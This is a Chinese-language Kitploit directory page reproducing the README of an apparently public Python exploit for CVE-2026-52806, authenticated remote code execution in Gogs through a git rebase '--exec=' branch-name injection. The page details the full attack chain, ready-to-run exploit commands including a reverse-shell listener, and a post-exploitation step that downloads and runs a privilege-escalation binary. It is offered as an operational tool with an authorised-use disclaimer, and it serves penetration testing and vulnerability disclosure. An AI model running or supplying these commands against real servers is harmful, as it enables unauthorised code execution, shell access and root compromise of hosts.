Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-52806 — Gogs 通过 git rebase 中的参数注入实现 RCE(CWE-88)— Python PoC。CVE-2026-52806 | Kitploit
工具/GitHubGitHub/portbuster1337/cve-2026-52806
权限提升漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用CTF渗透测试命令与控制学习与教育Payload 开发
GitHubportbuster1337/cve-2026-52806

CVE-2026-52806

6132个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Gogs 通过 git rebase 中的参数注入实现 RCE(CWE-88)— Python PoC。CVE-2026-52806

查看仓库网站

Gogs RCE — git rebase 中的参数注入(CWE-88)

通过拉取请求合并流程中的参数注入,对 Gogs(<= 0.14.2 和 0.15.0+dev)进行认证远程代码执行。

CVE-2026-52806

漏洞

internal/database/pull.go 中的 Merge() 函数将 PR 基础分支名称传递给 git rebase 而没有使用 -- 分隔符。名为 --exec=<COMMAND> 的分支被 Git 解析为 --exec 标志,而不是位置参数,导致在变基期间每次重放提交后都会执行 sh -c <COMMAND>。

利用原理

  1. 预检 — 检测目标是否运行 Gogs,通过静态资源上的 ?v= 参数指纹版本,并检查用户注册是否开放、是否受验证码保护或已禁用。
  2. 认证 — 如果未提供凭据,尝试自动注册(无验证码);如果启用了验证码,则打印消息告诉用户在目标的注册页面上创建帐户,并使用 -u <用户名> -pw <密码> 重新运行。通过基本认证或 Web 设置页面创建 API 令牌。
  3. 仓库设置 — 通过 Gogs API 创建一个临时私有仓库,并在设置中启用合并前变基。
  4. Git 分支操作 — 本地初始化一个 git 仓库,推送:
    • 一个包含 README 的 master 分支
    • 一个包含差异提交的 feature-* 分支
    • 一个名为 --exec=sh${IFS}.payload 的恶意分支,其中包含一个脚本,可在后台运行攻击者的命令
  5. 拉取请求 — 从特性分支向恶意的 --exec= 分支发起一个 PR。
  6. 触发 — 向合并端点 POST 请求,携带 merge_style=rebase_before_merging。Gogs 内部运行 git rebase --exec=sh${IFS}.payload,每次重放提交后执行载荷。
  7. 清理 — 删除临时仓库和本地临时文件。

要求

  • Python 3.6+
  • requests(pip install requests)
  • 本地 git 安装

用法

root@kitploit:~
python3 gogs.py <目标> [选项]

预检检查

root@kitploit:~
python3 gogs.py http://目标:3000 --preflight-only

报告:

  • Registration: ENABLED (no captcha) — 可以自动注册
  • Registration: ENABLED (CAPTCHA DETECTED) — 在目标注册页面上手动创建帐户,然后使用 -u / -pw 提供凭据
  • Registration: DISABLED — 需要管理员的现有凭据

运行漏洞利用

root@kitploit:~
# 自动注册 + 执行命令
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"

# 使用现有帐户
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"

# 反弹 shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444

# 启用验证码:在目标注册页面上创建帐户,然后使用凭据
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"

# 如果使用凭据登录失败,直接传递会话 cookie
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"

选项

利用后

一旦你在目标上获得 shell,Gogs 进程通常以低权限用户运行(例如 Docker 中的 git)。要尝试提权到 root,请从项目的发布页面下载并运行 lpe-toolkit 二进制文件:

root@kitploit:~
# 从你的 shell 会话中:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64

该工具包枚举内核漏洞、错误配置和其他常见的提权途径。

参考

  • Rapid7 博客文章 — 通过 Gogs 参数注入实现认证 RCE(未修复)
  • Metasploit 模块 — Rapid7 的 exploit/multi/http/gogs_rebase_rce,作者 Jonah Burgess(CryptoCat)(PR #21515)
  • GHSA — qf6p-p7ww-cwr9(gogs/gogs)
  • Gogs — https://github.com/gogs/gogs

此 Python PoC 灵感来自已发布的 Metasploit 模块。该漏洞由 Rapid7 的 Jonah Burgess(CryptoCat)发现并负责任的披露。

免责声明

此工具仅用于教育目的和授权安全测试。未经授权对不属于你或未经明确许可测试的系统使用是非法的。作者不对因使用本软件造成的任何误用或损害负责。

注意

Gogs API 不支持令牌删除,因此在利用期间创建的任何 API 访问令牌将持续存在,必须手动在目标实例的 /user/settings/applications 处删除。

下载工具
标志描述
target主机[:端口](例如 47.109.58.140:9000)
-p, --portHTTP 端口(默认:3000)
-u, --usernameGogs 用户名
-pw, --passwordGogs 密码
--cookie会话 cookie 字符串
--cmd在目标上执行的命令
--listener反弹 shell 的 主机:端口
--lhost / --lport反弹 shell 的主机和端口
--ssl使用 HTTPS
--preflight-only仅运行预检检查